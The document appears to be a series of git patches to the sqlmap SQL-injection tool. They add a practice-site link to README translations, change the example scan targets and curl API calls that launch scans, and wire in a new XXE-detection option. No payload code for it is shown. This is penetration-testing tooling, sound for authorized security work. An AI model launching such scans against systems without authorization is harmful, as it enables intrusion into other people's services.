https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 12b59b31e..419a97425 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index 254220983..ab612d4af 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록 * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 트위터: [@sqlmap](https://x.com/sqlmap) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 플레이그라운드: https://sekumart.sekuripy.hr * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index f11416841..d04fda2ab 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -47,4 +47,5 @@ Links * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Speeltuin: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index e7b145e96..0644def1b 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -47,4 +47,5 @@ Odnośniki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Piaskownica: https://sekumart.sekuripy.hr * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 9f5ebfd99..462f7497c 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -47,4 +47,5 @@ Links * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) +* Playground: https://sekumart.sekuripy.hr * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index e130727fe..be2a04590 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -47,4 +47,5 @@ Linkovi * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Poligon: https://sekumart.sekuripy.hr * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md index 381472225..6697515e1 100644 --- a/doc/translations/README-ru-RU.md +++ b/doc/translations/README-ru-RU.md @@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Песочница: https://sekumart.sekuripy.hr * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md index d673b3e3a..d5e29b67c 100644 --- a/doc/translations/README-sk-SK.md +++ b/doc/translations/README-sk-SK.md @@ -47,4 +47,5 @@ Linky * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Cvičisko: https://sekumart.sekuripy.hr * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 46e5267e9..a1c67a713 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -50,4 +50,5 @@ Bağlantılar * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Deneme alanı: https://sekumart.sekuripy.hr * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index ab7814676..f55c19ffe 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Пісочниця: https://sekumart.sekuripy.hr * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index ceb272455..96d99bee0 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -49,4 +49,5 @@ Liên kết * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Sân tập: https://sekumart.sekuripy.hr * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index b065c10a0..7157d361f 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 靶场: https://sekumart.sekuripy.hr * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/lib/core/settings.py b/lib/core/settings.py index 4600eb3d1..15d0f0457 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.21" +VERSION = "1.10.7.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 7b5f39f43..83060b079 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -981,7 +981,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) - dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testasp.vulnweb.com/showforum.asp?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) + dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) logger.debug(dbgMsg) @@ -1111,7 +1111,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non elif command in ("help", "?"): msg = "help Show this help message\n" - msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testasp.vulnweb.com/showforum.asp?id=1\"')\n" + msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml index 28e273875..59214a7ac 100644 --- a/sqlmapapi.yaml +++ b/sqlmapapi.yaml @@ -216,7 +216,7 @@ paths: value: success: true options: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" batch: true threads: 1 invalidTask: @@ -257,7 +257,7 @@ paths: value: success: true options: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" cookie: "id=1" unknownOption: value: @@ -290,7 +290,7 @@ paths: cookie: "id=1" setTarget: value: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: "200": description: Options set, or an API-level failure envelope. @@ -341,7 +341,7 @@ paths: examples: basicUrlScan: value: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: "200": description: Scan started, or an API-level failure envelope. @@ -568,7 +568,7 @@ paths: description: Target output-directory name. schema: type: string - example: testasp.vulnweb.com + example: sekumart.sekuripy.hr - name: filename in: path required: true @@ -788,7 +788,7 @@ components: additionalProperties: $ref: "#/components/schemas/OptionValue" example: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" cookie: "id=1" batch: true threads: 1 From 16c8909a0c01e398c3e0ce10b11b44ccdca5d323 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 3 Jul 2026 16:57:46 +0200 Subject: [PATCH 130/165] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/api.py | 9 +++++---- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d51e81eb4..1fe9eb1ca 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f86e98fbcdd8aa71e24dfd610359c1aaaff633e87940b684497d5492c3d468c4 lib/core/settings.py +6f4a6f82360addb01fb9581a67f67df30a2d44606b631bf3e1dc026e46f83e55 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -255,7 +255,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -d72933a3783873a589752e3bf0e2e351874c3d7e4610cf0a956d909fc1aa5a21 lib/utils/api.py +2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 15d0f0457..39079dd02 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.22" +VERSION = "1.10.7.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 83060b079..1a0794ec1 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -979,11 +979,12 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non DataStore.username = username DataStore.password = password + auth = ' --user "%s:%s"' % (username, password) if (username or password) else "" # REST API requires HTTP Basic auth dbgMsg = "Example client access from command line:" - dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) - dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) - dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) - dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) + dbgMsg += "\n\t$ taskid=$(curl -s%s http://%s:%d/task/new | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (auth, host, port) + dbgMsg += "\n\t$ curl%s -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/data" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/log" % (auth, host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) From 5fa2da5eaebc38747a8a748ffd6342b88db59db2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 09:53:04 +0200 Subject: [PATCH 131/165] Adding support for --xxe --- data/txt/sha256sums.txt | 21 +- lib/controller/checks.py | 9 + lib/controller/controller.py | 9 +- lib/core/option.py | 27 +- lib/core/optiondict.py | 3 + lib/core/settings.py | 69 +++- lib/parse/cmdline.py | 11 +- lib/request/dns.py | 54 +++ lib/request/interactsh.py | 171 ++++++++ lib/request/webhooksite.py | 72 ++++ lib/techniques/xxe/__init__.py | 8 + lib/techniques/xxe/inject.py | 699 +++++++++++++++++++++++++++++++++ tests/test_dns_server.py | 40 +- tests/test_xxe.py | 236 +++++++++++ 14 files changed, 1413 insertions(+), 16 deletions(-) create mode 100644 lib/request/interactsh.py create mode 100644 lib/request/webhooksite.py create mode 100644 lib/techniques/xxe/__init__.py create mode 100644 lib/techniques/xxe/inject.py create mode 100644 tests/test_xxe.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1fe9eb1ca..ed2947c53 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,8 +162,8 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py -2086100cd7a78a4e8c12d72bd4f5b414ec6b3f49926e83285494534140e60ce7 lib/controller/controller.py +0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py +00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -47c9828bdfa606a02f07925539d7af55c5eaf1fda61d05ecc40f73d77df036f9 lib/core/optiondict.py -3ac60716cf1c619b80038acb8b213c728cc607e7c5a387911e01635a23fbc92b lib/core/option.py +23852bdfadfb4bd5663302a63bdcc7227c0314fbdea884167d58ca21cda9fb09 lib/core/optiondict.py +0caac9b4af2cc50321a4d8126d92481ad0b092af2075e7efa19bccef529986fb lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6f4a6f82360addb01fb9581a67f67df30a2d44606b631bf3e1dc026e46f83e55 lib/core/settings.py +d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py +6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -215,17 +215,19 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py +b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dns.py 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py +fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py +58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 lib/request/webhooksite.py 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py @@ -255,6 +257,8 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py +9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -609,7 +613,7 @@ fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dia 41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py -ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py +a9db98cbb4d16c42118fb6f612edd5bfedc77298e38d06d50e7ecc2faaa7fdc1 tests/test_dns_server.py 3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py 118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py @@ -666,6 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py +140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a7200e3e3..a83a5f2cf 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -57,6 +57,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import POST_HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NOTE @@ -86,6 +87,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XXE_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_TIMEOUT @@ -1214,6 +1216,13 @@ def heuristicCheckSqlInjection(place, parameter): if conf.beep: beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): + infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index ba27f49aa..e81daaf48 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -529,8 +529,8 @@ def start(): checkWaf() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -557,6 +557,11 @@ def start(): sstiScan() continue + if conf.xxe: + from lib.techniques.xxe.inject import xxeScan + xxeScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/option.py b/lib/core/option.py index f828e4cf9..f6d555808 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -144,6 +144,7 @@ from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer +from lib.request.dns import InteractshDNSServer from lib.request.httpshandler import HTTPSHandler from lib.request.keepalive import HTTPKeepAliveHandler from lib.request.keepalive import HTTPSKeepAliveHandler @@ -935,10 +936,10 @@ def _setTamperingFunctions(): logger.warning(warnMsg) # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines - # (--graphql/--nosql/--ldap/--xpath/--ssti) do not run payloads through the tampering hook, so + # (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so # warn instead of silently ignoring the user's '--tamper' - if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)): - engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti") if conf.get(_)) + if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, 